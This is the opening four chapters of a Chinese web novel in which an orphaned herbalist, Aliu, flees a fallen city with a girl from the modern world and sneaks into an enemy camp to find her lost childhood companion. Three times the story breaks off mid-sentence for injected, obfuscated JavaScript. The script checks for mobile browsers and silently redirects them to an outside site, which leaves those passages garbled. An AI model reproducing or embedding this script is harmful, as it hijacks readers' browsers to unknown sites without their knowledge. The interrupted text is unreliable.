《炮灰真公主在话本里杀疯了》 1. 北甸城破,阿柳杀出重围 昭元二十四年,隆冬,暴雪三千里。 寒气拂过了巍峨的七洲高山,淌过了磅礴的蛟州冰流,携裹着战场上凌厉的肃杀之气,由南至北席卷了整个北甸城。 城外的烽火映红了半边天,将城边丹骆村破旧的茅草屋顶染成鲜艳的血红色,耿大娘一脚踹开摇摇欲坠的柴门,焦急的步子让粗布裙摆上沾满了泥浆。 “阿柳!”她嘶哑着嗓子喊道,“城门已破,再不走可就来不及了!” 破败的茅屋内,阿柳正跪在土炕前给瘫痪的师傅喂药,她闻言手指一颤,药汁洒在师傅枯树皮般的脖颈上。 老人喉咙里发出“嗬嗬”的声响,浑浊的眼珠在深陷的眼窝里转动。 “大娘先走罢。”阿柳用袖子擦去药渍,声音像浸了冰水,“师父这样子,挪不了半步。” 窗外传来此起彼伏的哭喊声,远处城墙方向腾起滚滚黑烟。 耿大娘急得直跺脚:“这老东西平日待你又不好,眼下瞧着也不过这几天的事儿,值得你赔上性命?” 阿柳没答话。 灶台上的药罐咕嘟作响,蒸腾的热气模糊了她半边脸庞,十八岁的姑娘,眉眼间带着几分凌厉,此刻却像尊泥塑似的木讷杵在一旁,纹丝不动。 “造孽啊!”耿大娘抹着泪退到门口,“最晚辰时三刻,你若改变主意,便到村头来找大娘,大娘带你一起走!” 木门“砰”地合上,震落簌簌灰尘。 炕上的老人突然剧烈地咳嗽起来,随后枯枝般的手指死死攥住阿柳的腕子。 阿柳任由他掐着,直到紫红的月牙印渗出血珠。 当年也是这样一双手,靠着那身医术把无父无母的自己养大,尽管成长的过程中从这怪老头的手里过得并不算好,但阿柳是个记恩的,她到底是要偿了这笔养育自己的恩情债。 “要死了……”炕上的老人终于松开手,从喉咙里滚出了句沙哑的笑,“你个小狼崽子……倒是养熟了。” 他的眼神还是那样奇怪,说不上喜,说不上忧,望着房梁,却又更像是透过这房梁看向了不知名的远方。 阿柳沉默地搅动药汤。 院墙外马蹄声由远及近,夹杂着辨不清的叫喊呼喝,她摸向腰间布囊,那里藏着些见血封喉的毒粉,是她这些年一点一点攒下来的保命符。 眼瞅着辰时三刻又过一刻,阿柳本以为耿大娘早已带着家人同村民逃走,却没想到她忽而又急匆匆的折返,推开自家柴门。 “阿柳,你真不走?”她的眼眶通红。 在看见阿柳再次坚定的点头后,没忍住抹了把脸上的泪花,然后便将身上的包袱解下放在阿柳面前。 “里面是些吃的,还有几块你最喜欢的南瓜饼,大娘知道你孝顺,但也莫苦了自己。你师傅就这几天的事儿,等他走了,你别硬抗,来找大娘,大娘往南边儿东陵城玉峡村去投奔亲戚,你来找大娘,大娘好歹给你口吃的!” 说到最后,耿大娘已经哽咽的不成样,她捂着口鼻,没再多说,又像来时一样急匆匆的走了。 自那个人走后,阿柳一向淡情寡言,此刻却也忍不住有些眼眶发热。 她把耿大娘留下的包袱打开,是几块南瓜饼和几张干饼。 饼已经有些发硬,阿柳掰了块扔进嘴里,熟悉的味道让她乱麻般的心绪总算平静了几分。 只是耿大娘算错了,阿柳的师傅哪还能再撑几天? 最多今夜的事儿了。 而不出阿柳所料,天际刚刚擦黑,床上的老人便突然回光返照。 他挣扎着支起上半身,精神头十足,但脑子似乎有些不清醒了,青白的嘴唇哆嗦着指向炕底:“匣子,匣子……” 顺着他手指的方向,阿柳利落地掀开炕砖,果然摸到了个乌木匣子。 匣面刻着古怪纹路,锁眼处凝着暗红血渍。 老头一见这东西,凹陷的胸膛便剧烈起伏,“藏起来,藏起来!千万别打开……” 这话像是耗尽了他一生的力气,话音未落,他整个人便如断线木偶般栽回炕上。 阿柳探了探他鼻息,已然没气儿。 …… 后山的乱葬岗新添了座土包。 阿柳跪在坟前磕了三个响头,犹豫了好一会儿,还是把耿大娘留给她的干粮分了块南瓜饼摆在坟头。 她该走了。 耿大娘投奔亲戚,光自家就有四口,多阿柳这么个外人,再好的亲戚心里也难免怨怼。 所以那不是阿柳的去处。 她不想给别人添麻烦,也早就想好了接下来的去路。 她要去东陵,去找一个人,要一个答案。 月色被硝烟割得支离破碎,阿柳正贴着山脊疾行,忽然听见下方官道传来阵阵马蹄声。 有人来了! 她立马闪到树后,刚藏好,便见十来个穿皮甲的骑兵正举着火把搜山。 领头的士兵左看右看,也不知是察觉了什么,突然抬头。 火光映出一张布满刀疤的脸,那双锐利的鹰眼瞬间锁定了阿柳的身影,“那边!” 被发现了! 阿柳暗骂一声,转身就往密林深处窜。 箭矢擦着她的耳畔钉入树干,惊起几只夜枭,她解下腰间布囊,边跑边将毒粉洒在身后。 惨叫声很快响起,但脚步声却越来越近。 阿柳的心脏突突直跳,她很清楚自己绝不能在这里就被抓住! 毕竟她的毒药虽然威力大,但这样胡乱的撒,根本不能保证身后之人都吸食进足够的量。 如此吸得多的死了,吸得少的还需要些时间等待药效发作,而侥幸没有吸到的,怕是更加难缠。 所以若不能把人都给放倒,她至少还得再坚持一刻钟的时间! 阿柳咬着牙把飞奔的步子加快,然后心一横,又一头钻进了长满荆棘的草垛之中。 她身形消瘦,能够轻松穿过荆棘间的缝隙逃到另一边去,而那些五大三粗的汉子个个壮如蛮牛,要想再追上她的脚步,可就得遭老罪了。 更遑论穿过荆棘丛时,阿柳还不忘继续挥洒布囊中的毒药。 从荆棘丛里钻出来,阿柳快步朝着前方跑去,天色黝黑,她跑了好一会儿才发现自己前行的方向,尽头竟然是一座断崖! 跑错方向了! 可此时身后的士兵已然追来,再想掉头根本来不及,看样子只能在这里硬拼了。 不过好在,那荆棘丛折损了一大堆人,眼下追来的只有两个士兵。 断崖边的老松树被夜风吹得呜呜作响,阿柳后背抵上粗糙的树皮,眼看着那两个持刀的士兵一前一后封住去路。 “小娘皮挺能跑啊!”高个子掏出一只火折子,将手里的火把点燃后插在石缝里,跳动的火光在他脸上投下蛛网状的阴影。 矮个子将刀尖的血迹反手擦在衣袖上,那双借着火光看清阿柳面容的眼睛蓦地一亮,“大哥,这丫头倒是细皮嫩肉……” 未尽之意令人作呕。 但阿柳却突然笑了。 她抬手将散落的发丝别至耳后,眉眼间的锐利随笑意消融,竟透出几分摄人心魄的风情。 “大人,奴家害怕……” 这个柔弱的姿态让两人愣怔片刻,随即狂喜地搓手逼近。 先前见阿柳亡命奔逃,连荆棘丛都敢硬闯,还当她是个性子烈的,没想到杵到跟前,竟是个这般识趣儿的小娇娘。 这可当真是让他们俩给捡到宝了呀! 可色令智昏的两人怎会知晓,这世间最毒莫过美人蛇,他们急不可耐奔赴的不是温柔乡,而是断头台。 眼瞅着两人的距离越来越近,就是现在! 阿柳骤然扬手,一把粉末瞬间兜头洒向了走在前面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“贱人!”矮个子佝偻着身子暴退,突然又从靴筒摸出把匕首掷来。 阿柳偏头躲闪,但匕首还是划破了她的耳廓。 血腥味刺激下,她猛地扑上前,用沾血的左手直接按在对方口鼻上。 矮个子瞪圆的眼睛里映出她狰狞的笑,方才格斗时,她早已将剧毒抹在了自己手心。 随着一阵阵的惨叫传来,掌下的挣扎渐渐微弱,不一会儿,矮个子的口中就只剩下窒息的“咯咯”声。 阿柳趁机一个背摔,便见他像破麻袋般滚落悬崖。 这时身后传来树枝断裂的声响,阿柳转身,发现那满脸血肉模糊的高个子竟还没死,正挥舞长刀劈砍着灌木摸来! 阿柳捡起矮个子掉落的腰刀,刀尖点地蓄力。 眼看着面前人影越来越近。 “我要把你——”高个子话未说完,阿柳便已如鬼魅般贴地掠来。 锋利的刀光在月下划出三道银弧,分别点向咽喉、心口与膝盖。 高个子勉强架住前两刀,但猝不及防的第三刀却“咔嚓”一声斩断了他的髌骨。而就在他跪倒的瞬间,阿柳旋身飞踢,靴底重重踹在他的下巴上。 鲜血混着碎牙喷向夜空,壮硕的身躯轰然坠崖。 余音未散,阿柳反手掷出腰刀,将崖边火把钉灭在石缝之中。 如此即便再有追兵,怕是也难从这夜色之中摸清阿柳的身影了。 “想要我死,你们俩还不够格!”阿柳嗤笑出声。 黑暗重新笼罩山崖。 阿柳单膝跪地喘息,正打算收拾收拾抓紧赶路,却突然听见头顶又传来树枝断裂的脆响。 还有人! 她本能地翻滚躲避,却见一道黑影如陨石般砸下,后脑传来剧痛的刹那,她恍惚看见一双无措的双眸在月光下闪烁…… 2. 天降奇女子,相伴上路 阿柳是在一阵尖锐的疼痛中恢复的意识。 她的后脑仿佛被烙铁烫过,耳边嗡嗡作响。 恢复意识地第一时间,她的脑子里就只有一个念头——有人偷袭了她! 所以猛地睁眼,她的右手已经按在了腰间的匕首上。 “哎呀,你醒啦!”一张沾着泥灰的脸突然凑到眼前,明亮的杏眼里盛满歉意,“对不起对不起,我从树上掉下来——” 她的话还没说完,已经被阿柳一个翻身压在身下,并被匕首抵住了那纤细的脖颈。 身下的少女一脸惊恐,像是不知道眼前人为什么一睁眼就想要了自己的命。 她穿着一身奇怪的短打衣裳,腰间挂着个绣有奇异花纹的布袋,整个人全身上下都透露着古怪。 “女侠饶命!”见阿柳既不动手,也不说话,就那么像野兽一样直勾勾地打量自己,她吓得闭上眼睛,睫毛像受惊的蝶翅般颤动,“我真不是故意的!” 阿柳冷笑一声,迅速搜刮起她身上的物品。 这人不是来杀自己的,阿柳也不是什么嗜血如命的歹人,所以没打算杀她。 但是平白无故砸到了自己头上,那可不是一两句道歉就能解决的。 而此去东陵山高水远,靠耿大娘提供的那几块干饼可不顶事,所以收缴了这女人的财物,便算作是给自己的赔偿。 但是那布袋里除了装着一小块黑不溜秋的板砖,两根手指大小的柱状物,半边手掌大的小方镜,以及一包吃了一半的梅子干,居然就什么都没了。 阿柳不信邪的又开始在这女子的身上搜刮,但刚才还好好配合的人忽然又推搡了起来。 阿柳眉头一簇,便听她有些不好意思的说道:“姐妹,打劫归打劫,咱别劫色呀!我看起来不像女的吗……” 阿柳:“……” 没理会她的胡言乱语,阿柳继续把人从头到尾的翻找了一遍,可是翻找完以后,阿柳发现这人身上竟然确确实实只有她包里面的那点儿破铜烂铁。 乱世之中,这些便是她活命的资本? 她是怎么活到现在的呀? “就当赔礼。”阿柳叹了口气,还是不嫌弃的将那半包梅子干塞进了自己怀里。 二人两清,阿柳正欲离开,谁知起身时忽然又扯到了左臂的伤口,不由得“嘶”了一声。 也不知昨夜是谁伤了她此处,虽然血液干涸已经结痂,但伤口太深,稍一动作便会把伤口重新撕开。 疼痛倒是能忍,但这可不太方便她上路了呀! “你受伤了!”被阿柳“打劫”了的少女不想着逃走,此刻竟还不怕死地往阿柳跟前凑,“我这里有创可贴……” 她从裤兜里掏出几张薄薄的纸片,因为东西太小,也不像吃的,所以阿柳搜刮东西的时候,也就压根没注意到这究竟是个什么东西。 眼下这女子将其中一个小纸片上粘连的纸片撕下,然后便把这肉色的“纸条”贴在了自己受伤的位置。 但伤口过大,一个不够,于是她索性把兜里的那几个全都拆开贴在了阿柳的手臂上。 厚厚一叠,看起来好不滑稽。 阿柳瞥她一眼,然后便头也不回地往山下走去。 别指望这点小恩小惠就让自己把东西还回去! 晨光将她的影子拉得很长,她没想到某个不自觉的小尾巴竟就这么直接赖上了她。 “我叫云溪!”少女小跑着追上来,“你叫什么名字呀?” “再跟着我就杀了你。”阿柳转身,匕首划出一道冷光。 她可没有交朋友的打算。 但谁知这叫云溪的女子竟然丝毫不怕她,而是突然指向阿柳背后的远处:“你看!” 阿柳顺着她手指的方向看去,只见北甸城方向腾起滚滚浓烟,是敌军的大部队! 照这个速度,不消半个时辰就会行至丹骆村,她必须快些离开此地! 阿柳暗骂一声,瞬间加快脚步。 但这时身后却传来“扑通”一声,阿柳本不想搭理,但急速前进的脚步还是忍不住一顿。 一回头,果然看见云溪摔在泥坑里,正手忙脚乱地往外爬。 那笨拙的样子,在乱军中绝对活不过一刻钟。 “真是见鬼!”阿柳觉得自己真是疯了,她咬牙折返,一把拽起云溪的手腕,“还能不能走?” 云溪眼睛一亮,知道阿柳这是愿意带上自己了,当即指着一个方向对阿柳说到:“往那边走半里的样子有个枯井!我们跑不过他们,不如躲一天,等他们走了之后再出来,你看怎么样?” 创可贴覆盖之下的伤口还在隐隐作痛,阿柳知道自己现在其实也是强撑。 就她现在这身体,要再经历一次昨晚那样的厮杀,估计就没这么好命的能活下来了。 所以云溪的建议,可以采纳。 向西走了半里地,两人果然看见了一座枯井,阿柳顺着井洞向下望去,只见枯井内壁长满青苔,井底还残留着一些积下的泥水。 “我先下去探探路。”阿柳率先拉着绞盘上的绳索滑到井底,确认安全后才让云溪顺着绳索爬下来。 而云溪刚落地,头顶就传来了杂乱的马蹄声。 人来了! “蹲下!”阿柳将云溪按在井壁阴影处。 她们透过井口的杂草缝隙,隐约能看到井口的光亮忽明忽暗。 “搜仔细点!”粗犷的声音近在咫尺,“将军说了,找到北甸余孽重重有赏!” 阿柳屏住呼吸,北甸城败了,早听闻那东陵主帅心狠手辣,如今东陵敌军进城,若是倒霉被他们抓住,只怕是连死都能算得上解脱。 她低头看向紧贴着自己的云溪,发现对方此刻也在看她,只是那双明亮的眼睛里没有恐惧,反而带着某种奇异的兴奋。 这不像是经历过战乱的眼神! 马蹄声渐渐远去,阿柳这才发现两人的距离实在太近。 她猛地推开云溪,然后别扭地从怀里掏出那半袋吃剩下的梅子干,想了想,还是倒了几颗递到云溪面前。 “吃完了各走各的。” 云溪撇了撇嘴,也不知道有没有把阿柳的话听进去,她接过梅子干,又从袖中摸出个小纸包:“加点这个更好吃。” 她抖出些淡黄色的粉末,“这东西叫辣椒面,是我……家乡的东西。” 阿柳好奇地嗅了嗅,一股浓烈的辛辣味顿时充斥她的鼻腔,好呛人! 她狐疑的看向云溪,那表情像是在问:这玩意儿真能吃? 但云溪不说话,只是一边吃得津津有味,一边一脸希冀的看着阿柳。 阿柳见她吃了好几口,确定无毒后才小心的沾了一点舔了一口,入口的瞬间,辛辣的滋味瞬间在舌尖炸开。 虽然还是有点呛人,但适应之后,一股别样的滋味又在口中酝酿。 好像……确实还行! “好吃吧?”云溪笑得眼睛弯成月牙,“在我的家乡,这种味道的东西随处可见,什么火锅烤肉大炸鸡,那简直香得不得了!也不知道什么时候我还能再吃上两口呀……” 她说着便开始描述那个她口中的家乡,什么铁鸟载人飞天,琉璃匣子能看见千里之外的景象,人们坐在家中就能吃到各地美食…… “我看你是病得不轻。”阿柳冷笑,却也忍不住问,“要真有这么好,那你跑到北甸城来干嘛?” 听见阿柳的问话,云溪呱噪的声音总算是停了下来。 她的眼底难得染上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974168|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一丝落寞:“我也不想来的!原本在家睡觉睡得好好的,也不知道怎么回事,一个翻身就摔到你们这个世界来了……” 阿柳看了看云溪,又看了看手里的梅子干,还是更倾向于这个人是个傻子。 沉默在井底蔓延,阿柳摩挲着自己的指甲,原以为云溪不会再开口,但不想这人忽然又问到:“你接下来打算去哪儿啊?” “东陵城。”话一出口阿柳自己都惊住了,她从不与外人说私事。 “这地方还蛮耳熟的,你去这里干嘛?” “找人。”既已说破,阿柳索性便也不再隐瞒。 横竖这人与自己萍水相逢,过了今日,估计也便天各一方,再不相见了。 云溪眨了眨眼,有些好奇这般别扭的人,竟也有非见不可的对象? “是心上人?” “仇人!”阿柳冷笑,“一个说好陪我一辈子,但又突然不告而别的仇人!” 井外传来夜枭的啼叫,她无意识转动腕间褪色的红绳。 云溪的眼睛突然亮了起来:“你是要当面问他为什么抛下你?” “至少要问个明白……”阿柳的声音渐渐低下去。 这个理由究竟是真是假,其实阿柳自己都已经分不清了,毕竟她和那个人,分开的时间至今已有七年。 七年的时间,能消磨的东西实在太多,时至今日,阿柳其实也只是想再见一见他。 “那我陪你去吧!”云溪突然握住她的手道:“我骂人贼厉害,到时候如果你还想揍他,我也可以帮你拉住他的腿,再偷摸往他身上吐口水。说真的,在审判渣男这方面,我强起来自己都害怕!” 阿柳本该甩开这疯女人的手,毕竟一个萍水相逢的累赘,甩开才是常理。 可鬼使神差的,她竟仍由那只手握了自己许久,甚至还觉得,这井底升腾的寒气,似乎也被两人相触的掌心驱散了些许。 …… 子夜时分,确定敌军已经走远,两人一前一后的爬出枯井。 阿柳要回茅屋取些必需品,云溪自然跟了上来。 月光下,那只奇怪的乌木匣子从阿柳的包袱里滑了出来,云溪好奇地捡起来:“这是什么?” “死人的东西。”阿柳简单的将师傅的遗言转述,“他让我千万别打开。” 云溪皱起鼻子:“干嘛不能打开?这种故弄玄虚的老头最讨厌了!” 而阿柳也适时地抽出短刀,寒光闪过,匣锁应声而断,她扬唇讥笑,“死人的话谁听?” 匣子打开,只见那匣中躺着半块青铜铸就的伏虎,底下还压着块泛黄的血布。 云溪将伏虎捏在手上,眼底闪过不解,“这是什么呀,银子做得吗?你师傅藏的私房钱,还是他的玩具小马?” 而阿柳已经展开匣底的布片,入目是用朱砂书写的生辰八字。 丁酉年七月初七……正是自己的! 没什么奇怪之处,那为什么要藏起来呢? 阿柳正要把手上的布片收起来,但一旁的云溪却忽然抬手制止住了她的动作。 “丁酉年七月初七……”云溪突然倒吸一口凉气,她颤抖的手指抚过布条边缘的金线暗纹。 “我不会是穿越到《朱颜劫》的小说里面了吧!”云溪的脸色忽而煞白,“小说番外写的内容,好像就是早死的炮灰真公主拿着半块虎符和写有自己生辰八字的血书,死在了去往东陵城的半道上……” 阿柳没听懂云溪在说些什么,但也敏锐的察觉到其中暗藏玄机,所以她猛地掐住云溪手腕:“你在胡说什么?” 但云溪抬头,眼底的怀疑已被惊惧所替代:“这不是什么玩具小马,这是虎符!而你,难道就是那个早死的炮灰真公主——阿柳!” 3. 身世揭秘,青梅竹马初相逢 “你是说,我会死在前往东陵城的路上?”阿柳的匕首抵在云溪咽喉处,刀刃泛着银光,在云溪脖子上划出一道细小的血线。 空气里潮湿的寒气爬上脊背,云溪却不怕死地往前凑了凑,让刀锋陷得更深。 “我看的小说里写得很清楚,真公主前往东陵本是寻人,但行至半道,便在青崖岗被班师回朝的东陵军乱箭射杀。而彼时她要找的人,恰好就是这支军队中的主帅,两人相逢不相见,就此错过了一生!” “荒谬!”阿柳手腕一抖,云溪说的话她一个字都不信。 什么小说,什么公主,什么主帅,她早该在后山的时候就看清这是个彻头彻尾的骗子! 阿柳正想把云溪赶走,但却在听到她的下一句话时骤然僵住。 “你找的那个人,叫邰玉轩对不对?”云溪的声音轻得像飘过的雾气,“他左肩有个月牙形的疤,是你六岁时用柴刀误伤的。” 匕首“当啷”一声掉在地上。 阿柳后退两步,后背撞上破败的墙壁。 那是只有她和那个人才知道的秘密! 潮湿的霉味突然变得刺鼻,她想起邰玉轩离开那晚,也是这样的气息弥漫在茅屋里。 “敌军主将就是邰玉轩。”云溪捡起匕首递还给她,“小说里关于你们二人着墨不多,所以我也不知道你们之间太多的事,但有一点,此去东陵若全无准备,你必命丧青崖岗!” “单凭这些,就想让我信你?”阿柳锐利的眸子紧盯着云溪。 但其实她早已动摇,毕竟云溪所说的秘密,除了自己和那个人,根本就不可能还有第三个人知道。 可是洞悉一切的异世之人?这实在是太荒谬了一点,若非是自己亲自遇见,阿柳打死也不会相信这是真的。 她还需要点时间来消化这个消息。 云溪自然也知道自己的存在太过离奇,不好教人立马就相信。 所以她叹了口气,迂回地说道:“关于你们俩的事情,除了这些,我便只知道你的身上还有一块红色胎记,在后颈下三寸的位置,多的书中也没有描述,毕竟不管是你还是他,都只是一个推动剧情发展的炮灰。” 她沉吟片刻,忽而看向门外,“但要验证我说的究竟是真是假,其实也很简单。东陵军刚走不远,反正你去东陵也是要找邰玉轩,不如就潜进军队里看一看,那领头的主帅是否如我所言,便是你要找的那个人?” 阿柳勾唇冷笑,潜进军队看一看? 她当这军队是菜市场,自己想去就去,想走就走? 哼,未免也太高看她了点! …… 次日一早,晨雾像一层纱幔笼罩着山道,阿柳蹲在溪边,将最后一点面饼渣子倒进嘴里。 云溪正对着水面整理她那身不太合体的士兵装束,那是昨夜她们跑去后山,然后从两具尸体上扒下来的。 “领口再拉低些。”阿柳用匕首削尖一根树枝,“伤兵就该有伤兵的样子。” 云溪扯开衣领,露出锁骨处阿柳用草药汁画出的“伤口”。 昨夜她们俩争论半宿,阿柳立场再坚定,也架不住想见之人与自己这么近的诱惑。 所以犹豫了一晚上,原本信誓旦旦不动摇的人,还是带着云溪趁着夜色扒了两件死人衣服,打算按她所说溜进那军营里去看看。 “记住。”阿柳站起身,将匕首藏进靴筒,“进了军营别乱说话。” 云溪突然抓住她的手腕:“那虎符……” 阿柳眼神一凛。 匣子里的东西她昨夜研究了半宿,青铜虎符冰凉沉重,边缘有磨损的痕迹,显然经常被使用。 估计是真的。 那块染血的布条上除了她的生辰,边角还刺着一根银针,针身上绣着一个小字:梧。 也不知道是藏着什么深意。 “不该问的别问。”阿柳甩开她的手,然后将长发塞进铁盔,再往脸上抹了把血污:“跟紧我,别说话。” 山道尽头已经能看到军营轮廓,炊烟在灰白的天幕上画出歪斜的线,她们不动声色地混在一队伤兵后面进了营。 军营辕门处戒备森严,阿柳搀扶着“腿部受伤”的云溪,学着伤兵的样子一瘸一拐地向前走。 浓重的血腥味和草药苦涩的气息充斥在鼻尖,不一会儿,一个跛脚的老兵就领着她们往医帐走。 路上不断有担架抬着惨叫的士兵经过,云溪看得心惊胆战,忍不住扯了扯阿柳的袖子,像是想说什么话。 但阿柳没理她。 这么多人来来往往看着呢,一不小心暴露了他们俩都得完蛋,所以有什么话不能等到没人的时候说? 但饶是阿柳再小心谨慎,也架不住这麻烦自己找上门来。 “站住!”突然,医帐门口一个络腮胡军医拦住她们,蹙着眉头问到:“你们两个,哪支队伍的?” 两人俱是心头一惊。 阿柳哑着嗓子回答:“先锋营三队……” 她随口胡诌的。 “三队?”军医突然眯起眼,“三队不是昨天就全折在城内了吗?” 云溪的呼吸骤然急促,阿柳暗中掐了她一把,咳嗽着俯身:“我们兄弟俩是斥候,提前出城才侥幸捡了条命……” 那军官没有说话,低着头在手里的册子上写写画画,像是在记录什么东西。 应该是糊弄过去了吧? 阿柳和云溪对视一眼,刚松一口气,却不想悬着的心又立马提了起来。 “牛强!”她们的身后突然传来喊声,“你小子没死?” 或许叫得不是她们!阿柳和云溪都把头埋在胸口,疯狂祈祷着那人不是来找他们的。 但是偏偏天不遂人愿,随着一只有力的手臂落在肩头,阿柳的后背顿时一凉。 果然是逃不过了吗? 她转头看见来人,是个满脸烟灰的壮汉。 那大汉眼底原本还是再见兄弟的喜悦,但眼下对上一张陌生的面孔,一双牛睛立马瞪得像铜铃:“你不是牛强!” 他又看了看阿柳的后背,确信自己就是没有找错人,才大声的喊道:“但你穿得怎么是他的衣服!” 这大汉的眼力这么好,完全相同的衣服竟然还能立马分出哪件是谁的? 阿柳心里正暗自吐槽,想着找个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974169|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么理由搪塞过去,却见身旁的云溪疯狂朝自己使眼色。 她的眼睛一直对着阿柳眨呀眨,但阿柳愣是一点消息也没有看出来,到底是什么意思啊? 见阿柳和自己一点默契也没有,云溪无奈的叹口气,贴着她小声的说到:“衣服后面有编号!” 编号? 阿里的心底一惊,立马偏头去看云溪的后背,果然看到了一个“叁贰捌”的数字秀在衣服左肩的位置。 联想到刚才这大汉看自己后背的样子,阿柳瞬间明白,东陵军的士兵应该每个人都有一个自己的编号,这编号同时也秀在他们的衣服上,用来对他们进行区分的同时,也防止奸细的混入。 真是好严谨的手段! 但这也就意味着,阿柳编出花儿来,也不可能糊弄的过去了。 于是趁着周围人还没反应过来,阿柳一边低头假装咳嗽,一边伸手摸向靴筒里的匕首。 但这时那壮汉突然掀开云溪的裤腿,这动作让人猝不及防,所以一瞬间,所有人都看见了云溪那本该有箭伤的位置肌肤完好! “来人啊!有奸细!” “跑!”阿柳猛地端起一旁的药炉,将滚烫的药汁泼在那壮汉脸上,然后推开军医,拽着云溪冲出营帐。 身后响起杂乱的脚步声和箭矢的破空声。 云溪突然指着一间绣有苍鹰的帐篷喊道:“那是主帅的将旗,是邰玉轩的大帐!” 阿柳明白云溪的意思,现在她们没有时间在这儿慢慢找,既然已经发现了邰玉轩的帐篷,那就只能祈祷人这个时候正好就在里面。 否则的话,她们两人都只怕是小命难保! 追兵的脚步声越来越近,阿柳摸出靴中匕首,在靠近主帐时突然加速。 一旁的守卫还来不及拔刀,她就已经划开帐布,带着满身血腥气滚了进去。 “什么人!” 可刚一闯进去,阿柳就立刻被蒸腾的水汽糊住了视线,她踉跄着撞上一个坚硬的东西。 像是……裸.露的胸膛? 阿柳抬头,入目是一张熟悉又陌生的脸。 氤氲热气中,男人赤着上身站在浴桶旁,水珠顺着肌肉线条滚落。 他剑眉星目,下颌线如刀削般锋利,左肩的月牙疤在水汽中若隐若现,与阿柳记忆中那个总爱爬树掏鸟窝的少年有七分相似,却又多了三分肃杀。 帐外传来嘈杂:“将军!有奸细闯营!” 邰玉轩的目光钉在阿柳脸上,阿柳看到他喉结滚动,不确定他有没有认出自己,只是下意识喊出了那个藏在心底的名字:“邰玉轩……” 帐布被掀开的瞬间,他一把扯过外袍裹住身体:“退下!” 冲进来的亲兵愣在原地。 邰玉轩背对着阿柳系上衣带,声音沉稳:“本将军沐浴不喜人扰,有什么奸细值得你们擅闯主帅营帐?” “可是……” “滚出去。” 亲兵们悻悻退下。 邰玉轩转过身,湿发贴在颈侧,眼神复杂得像是打翻的调色盘。 阿柳清晰地听见自己剧烈的心跳声,震得耳膜发疼…… 4. 相见情难言,各怀心事 “阿柳。”他念这两个字时像在咀嚼什么,“你怎么在这里……” 阿柳突然鼻子发酸。 七年前那个清晨,她采药回来发现他家空空如也,只有桌上留了半块硬得像石头的馍。 她找遍整个丹骆村,最后也只在村口老槐树下捡到一枚褪色的红绳扣,那是当初邰玉轩十二岁生日时她编的。 “为什么?”她听见自己的声音在发抖。 邰玉轩走到案前倒了杯茶,手指关节发白,他知道阿柳问得是什么,可又不知道该如何明说。 所以顿了顿,他道:“我是东陵镇国公邰达海的孩子,当年,国公府找到了我……” 那一年,国公府男丁皆战死沙场,只留下邰达海的妻子邬惜文一人支撑门楣。 她膝下只有一子,也在那场战役里殒命。 为免国公府大权旁落,彼时的邬惜文一边处理家中丧事,一边不远千里,找到了流落北甸的邰玉轩。 “所以你就扔下我?”阿柳冷笑,“连句话都没有留?” 明明前一日还约好要一起去河边抓鱼,不曾想第二日便已经人去楼空。 她当时还以为他是寻亲访友,去去就回,但不想这一去,竟然已过七年之久。 她问过,找过,等过……若非听信云溪的话,或许怕是真要如同那劳什子的话本所言,他们俩此生都无缘再见! 但还不等邰玉轩答话,帐外突然传来云溪急促的尖叫。 邰玉轩皱眉,阿柳已经先一步冲了出去。 只见云溪此时被两个士兵按在地上,脸上已经多出了道血痕。 “放开她!”阿柳厉喝。 士兵们闻言没有动,而是看向紧随其后出来的邰玉轩。 他此刻已经穿戴整齐,玄甲在晨光中泛着冷芒,微微颔首,士兵便立刻松手。 “你朋友?”邰玉轩问。 阿柳扶起云溪,发现她怀里紧紧抱着自己的乌木黑匣子。 正疑惑着,云溪便凑到她耳边小声说道:“刚刚逃跑的时候你没拿稳掉了,这东西重要的很,没它可没有立足的筹码,所以我帮你从他们手里抢了回来!” 阿柳听罢心头一暖,她的指尖抚过云溪的脸颊,问得却是:“疼吗?” 云溪回以一笑,说道:“一点感觉都没有!” “将军!”而在两人说话的间隙,一个银甲将领此时大步走来,他指着阿柳两人说道:“这两人混入军营,动机不明,恐是北甸细作,可要末将把人带下去细细审问?” 察觉到那人的视线落在自己的脸上,阿柳的心脏突突直跳。 若此刻站在自己面前的是七年前的邰玉轩,阿柳自然可以笃定他做不出任何伤害自己的事。 可是,毕竟已隔七年,七年的时间能改变的东西实在太多。 性格,脾气,喜好,亦或者曾经牵肠挂肚的人……阿柳的目光落在地面,没敢抬头。 一旁的邰玉轩听副将说完,立刻抬手制止:“此事你不必插手,我自有计较。” 可那副将似乎对于邰玉轩的决定颇为诧异,所以连带着看向阿柳的眼神都多了几分探究,“可是,夫人那边……” “夫人那边你若想说,只管回禀。”邰玉轩眉头微蹙,像是不想过多解释,挥手赶走副将后,便看向阿柳,“你们跟我来。” 夫人吗?他竟已经成婚! 看来记挂着旧事的不过自己一人,曾经的誓言事到如今也早就变成了一堆戏言。 阿柳的睫毛颤了颤,默默扶起地上的云溪,眼眶似乎有些发烫。 